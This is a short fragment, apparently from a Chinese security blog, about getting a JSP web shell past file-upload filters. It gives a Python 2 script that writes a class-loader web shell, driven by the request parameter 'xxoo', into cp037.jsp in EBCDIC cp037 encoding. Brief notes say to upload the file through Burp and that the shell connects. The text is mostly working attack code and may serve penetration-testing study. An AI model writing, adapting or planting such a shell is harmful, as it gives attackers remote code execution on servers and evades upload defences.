Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3
编码脚本
#python2data = '''<?xml version="1.0" encoding="cp037"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> class PERFORM extends ClassLoader { PERFORM(ClassLoader c) { super(c);} public Class bookkeeping(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] branch(String str) throws Exception { Class base64; byte[] value = null; try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str }); } catch (Exception e) { try { base64=Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str }); } catch (Exception ee) {} } return value; } </jsp:declaration> <jsp:scriptlet> String cls = request.getParameter("xxoo"); if (cls != null) { new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response}); } </jsp:scriptlet></jsp:root>'''fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)fcp037.write(data.encode('cp037'))
生成出来,burp选择paste from file
可以正常连接
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